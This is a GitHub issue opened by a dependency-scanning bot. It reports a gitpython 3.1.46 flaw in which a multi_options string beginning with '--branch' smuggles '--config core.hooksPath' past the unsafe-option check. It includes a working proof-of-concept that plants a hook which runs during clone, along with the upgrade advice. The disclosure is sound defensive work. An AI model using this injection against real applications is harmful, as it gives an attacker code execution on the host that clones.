Skip to content

GHSA-x2qx-6953-8485 found in pypi/gitpython@3.1.46 #1929

@devguard-bot-dev

Description

@devguard-bot-dev

GHSA-x2qx-6953-8485 found in pypi/gitpython@3.1.46

Important

Risk: 1.23 (Low)
CVSS: 8.1

Description

Summary

_clone() validates multi_options as the original list, then executes shlex.split(" ".join(multi_options)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone.

Details

The vulnerable code is in git/repo/base.py line 1383:

multi = shlex.split(" ".join(multi_options))

Then validation runs on the original list at line 1390:

Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options)

Then execution uses the transformed result at line 1392:

proc = git.clone(multi, "--", url, path, ...)

The check at git/cmd.py line 959 uses startswith:

if option.startswith(unsafe_option) or option == bare_option:

"--branch main --config ..." does not start with "--config", so it passes. After shlex.split, "--config" becomes its own token and reaches git.

Also affects Submodule.update() via clone_multi_options.

PoC

import sys, pathlib, subprocess
sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))

from git import Repo
from git.exc import UnsafeOptionError

try:
    Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"])
except UnsafeOptionError:
    print("multi_options=['--config', '...']: Block as expected")
except Exception:
    pass

DIR = pathlib.Path(__file__).resolve().parent / "workdir_b"
SRC = DIR / "repo"
DST = DIR / "dst"
HOOKS = DIR / "hooks"
LOG = DIR / "output.log"

if not SRC.exists():
    SRC.mkdir(parents=True)
    r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)
    r("git", "init", "-b", "main")
    (SRC / "f").write_text("x\n")
    r("git", "add", ".")
    r("git", "commit", "-m", "init")

HOOKS.mkdir(exist_ok=True)
hook = HOOKS / "post-checkout"
hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n")
hook.chmod(0o755)

LOG.unlink(missing_ok=True)
payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix()

try:
    Repo.clone_from(str(SRC), str(DST), multi_options=[payload])
except UnsafeOptionError:
    print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1)
except Exception:
    pass

if not LOG.exists() and DST.exists():
    subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True)

print(f"multi_options=['{payload}']: not blocked")
print(f"\nHook executed: {LOG.exists()}")
if LOG.exists():
    print(LOG.read_text().strip())

Output:

multi_options=['--config', '...']: Block as expected
multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked

Hook executed: True
texugo
DESKTOP-5w5HH79

Impact

Any application passing user input to multi_options in clone_from(), clone(), or Submodule.update() is vulnerable. Attacker embeds --config core.hooksPath=<dir> inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.

Affected component

The vulnerability is in pkg:pypi/gitpython@3.1.46, found in artifacts source.

Recommended fix

Upgrade to version 3.1.47 or later.

# Update all vulnerable python packages
pip install pip-audit
pip-audit
 # Update only this package
pip install gitpython==3.1.47

Additional guidance for mitigating vulnerabilities

Visit our guides on devguard.org

See more details...

Path to component

 %%{init: { 'theme':'base', 'themeVariables': {
'primaryColor': '#F3F3F3',
'primaryTextColor': '#0D1117',
'primaryBorderColor': '#999999',
'lineColor': '#999999',
'secondaryColor': '#ffffff',
'tertiaryColor': '#ffffff'
} }}%%
 flowchart TD
Your_application(["Your application"]) --- pkg_pypi_gitpython_3_1_46(["pkg:pypi/gitpython\@3.1.46"])
Your_application(["Your application"]) --- pkg_pypi_checkov_3_2_517(["pkg:pypi/checkov\@3.2.517"])
pkg_pypi_checkov_3_2_517(["pkg:pypi/checkov\@3.2.517"]) --- pkg_pypi_gitpython_3_1_46(["pkg:pypi/gitpython\@3.1.46"])
Your_application(["Your application"]) --- pkg_pypi_devguard_scanner_tools_0_1_0(["pkg:pypi/devguard-scanner-tools\@0.1.0"])
pkg_pypi_devguard_scanner_tools_0_1_0(["pkg:pypi/devguard-scanner-tools\@0.1.0"]) --- pkg_pypi_checkov_3_2_517(["pkg:pypi/checkov\@3.2.517"])

classDef default stroke-width:2px
Loading
Risk Factor Value Description
Vulnerability Depth 3 The vulnerability is in a dependency of a dependency in your project. It is 3 levels deep.
EPSS 0.00 % The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
EXPLOIT Not available We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database. There are no script kiddies exploiting this vulnerability.
CVSS-BE 8.1 - Exploiting this vulnerability significantly impacts availability.
- Exploiting this vulnerability significantly impacts integrity.
- Exploiting this vulnerability significantly impacts confidentiality.
CVSS-B 8.1 - The vulnerability can be exploited over the network without needing physical access.
- It is difficult for an attacker to exploit this vulnerability and may require special conditions.
- An attacker does not need any special privileges or access rights.
- No user interaction is needed for the attacker to exploit this vulnerability.
- The impact is confined to the system where the vulnerability exists.
- There is a high impact on the confidentiality of the information.
- There is a high impact on the integrity of the data.
- There is a high impact on the availability of the system.

More details can be found in DevGuard


Interact with this vulnerability

You can use the following slash commands to interact with this vulnerability:

👍 Reply with this to acknowledge and accept the identified risk.

/accept I accept the risk of this vulnerability, because ...

⚠️ Mark the risk as false positive: Use one of these commands if you believe the reported vulnerability is not actually a valid issue.

/component-not-present The vulnerable component is not included in the artifact.
/vulnerable-code-not-present The component is present, but the vulnerable code is not included or compiled.
/vulnerable-code-not-in-execute-path The vulnerable code exists, but is never executed at runtime.
/vulnerable-code-cannot-be-controlled-by-adversary Built-in protections prevent exploitation of this vulnerability.
/inline-mitigations-already-exist The vulnerable code cannot be controlled or influenced by an attacker.

🔁 Reopen the risk: Use this command to reopen a previously closed or accepted vulnerability.

/reopen ... 

Metadata

Metadata

Assignees

No one assigned

    Labels

    cvss-severity:highCVSS severity of the vulnerabilitydevguardDevGuardrisk:lowCalculated risk of the vulnerability (based on CVSS, EPSS, and other factors)sourcestate:open

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions